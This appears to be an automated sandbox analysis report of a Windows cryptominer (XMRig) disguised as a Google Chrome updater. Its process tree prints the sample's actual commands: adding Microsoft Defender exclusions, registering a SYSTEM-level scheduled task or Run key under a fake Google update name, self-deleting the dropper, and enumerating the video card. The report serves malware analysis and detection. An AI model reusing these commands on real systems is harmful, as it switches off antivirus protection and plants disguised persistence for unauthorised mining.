Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1796s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3308
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2024
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4376
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:776
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:768
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2224
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4572
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4536
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2972
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:4836
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2840
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1968
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3044
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1584

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.2MB
                • SHA256 d2617e217c99c6f1c57d8242c88cfa7d96ff963bb738b6c96707ed892f79e0e1
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 7bed9ce9a785e557b8053dea7d43bd68b9de5b087593734968abf86b2cc49ee9
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_clvj1xds.gvy.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_clvj1xds.gvy.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1040-0-0x00007FF6CAF90000-0x00007FF6CB1A1000-memory.dmp

                memory/1040-36-0x00007FF6CAF90000-0x00007FF6CB1A1000-memory.dmp

                memory/1544-16-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp

                memory/1544-13-0x000001BC7C230000-0x000001BC7C240000-memory.dmp

                memory/1544-12-0x000001BC7C230000-0x000001BC7C240000-memory.dmp

                memory/1544-11-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp

                memory/1544-3-0x000001BC7C1F0000-0x000001BC7C212000-memory.dmp

                memory/1584-106-0x00007FF673C00000-0x00007FF673E11000-memory.dmp

                memory/1584-124-0x00007FF673C00000-0x00007FF673E11000-memory.dmp

                memory/1584-54-0x00007FF673C00000-0x00007FF673E11000-memory.dmp

                memory/2024-30-0x000002A271100000-0x000002A271110000-memory.dmp

                memory/2024-34-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp

                memory/2024-32-0x000002A271100000-0x000002A271110000-memory.dmp

                memory/2024-31-0x000002A271100000-0x000002A271110000-memory.dmp

                memory/2024-29-0x000002A271100000-0x000002A271110000-memory.dmp

                memory/2024-28-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp

                memory/2840-131-0x00007FF68A150000-0x00007FF68A166000-memory.dmp

                memory/2840-138-0x00007FF68A150000-0x00007FF68A166000-memory.dmp

                memory/3044-169-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-147-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-175-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-173-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-171-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-140-0x000001B311ED0000-0x000001B311EF0000-memory.dmp

                memory/3044-167-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-165-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-163-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-161-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-159-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-157-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-155-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-179-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-153-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-151-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-149-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-181-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-183-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-177-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-145-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-143-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-141-0x000001B3123E0000-0x000001B312400000-memory.dmp

                memory/3044-185-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-126-0x000001B311E50000-0x000001B311E70000-memory.dmp

                memory/3044-125-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-187-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-189-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-130-0x000001B3123A0000-0x000001B3123E0000-memory.dmp

                memory/3044-191-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-132-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-133-0x000001B311ED0000-0x000001B311EF0000-memory.dmp

                memory/3044-134-0x000001B3123E0000-0x000001B312400000-memory.dmp

                memory/3044-136-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-137-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-193-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/3044-139-0x00007FF6B7DA0000-0x00007FF6B8594000-memory.dmp

                memory/4376-53-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp

                memory/4376-47-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp

                memory/4376-49-0x000001C112690000-0x000001C1126A0000-memory.dmp

                memory/4376-50-0x000001C112690000-0x000001C1126A0000-memory.dmp

                memory/4376-48-0x000001C112690000-0x000001C1126A0000-memory.dmp

                memory/4536-120-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp

                memory/4536-118-0x0000022DC3160000-0x0000022DC3170000-memory.dmp

                memory/4536-117-0x0000022DC3160000-0x0000022DC3170000-memory.dmp

                memory/4536-107-0x00007FF404C10000-0x00007FF404C20000-memory.dmp

                memory/4536-95-0x0000022DC3160000-0x0000022DC3170000-memory.dmp

                memory/4536-94-0x0000022DC3160000-0x0000022DC3170000-memory.dmp

                memory/4536-93-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp

                memory/4572-84-0x0000027E47E50000-0x0000027E47E6A000-memory.dmp

                memory/4572-79-0x0000027E47BC0000-0x0000027E47BDC000-memory.dmp

                memory/4572-83-0x0000027E47DF0000-0x0000027E47DFA000-memory.dmp

                memory/4572-82-0x0000027E47E10000-0x0000027E47E2C000-memory.dmp

                memory/4572-81-0x0000027E47CA0000-0x0000027E47CAA000-memory.dmp

                memory/4572-80-0x0000027E47BE0000-0x0000027E47C95000-memory.dmp

                memory/4572-69-0x00007FF48F800000-0x00007FF48F810000-memory.dmp

                memory/4572-85-0x0000027E47E00000-0x0000027E47E08000-memory.dmp

                memory/4572-68-0x0000027E2E8A0000-0x0000027E2E8B0000-memory.dmp

                memory/4572-67-0x0000027E2E8A0000-0x0000027E2E8B0000-memory.dmp

                memory/4572-66-0x0000027E2E8A0000-0x0000027E2E8B0000-memory.dmp

                memory/4572-65-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp

                memory/4572-86-0x0000027E47E30000-0x0000027E47E36000-memory.dmp

                memory/4572-87-0x0000027E47E40000-0x0000027E47E4A000-memory.dmp

                memory/4572-88-0x0000027E2E8A0000-0x0000027E2E8B0000-memory.dmp

                memory/4572-91-0x00007FFF99360000-0x00007FFF99E21000-memory.dmp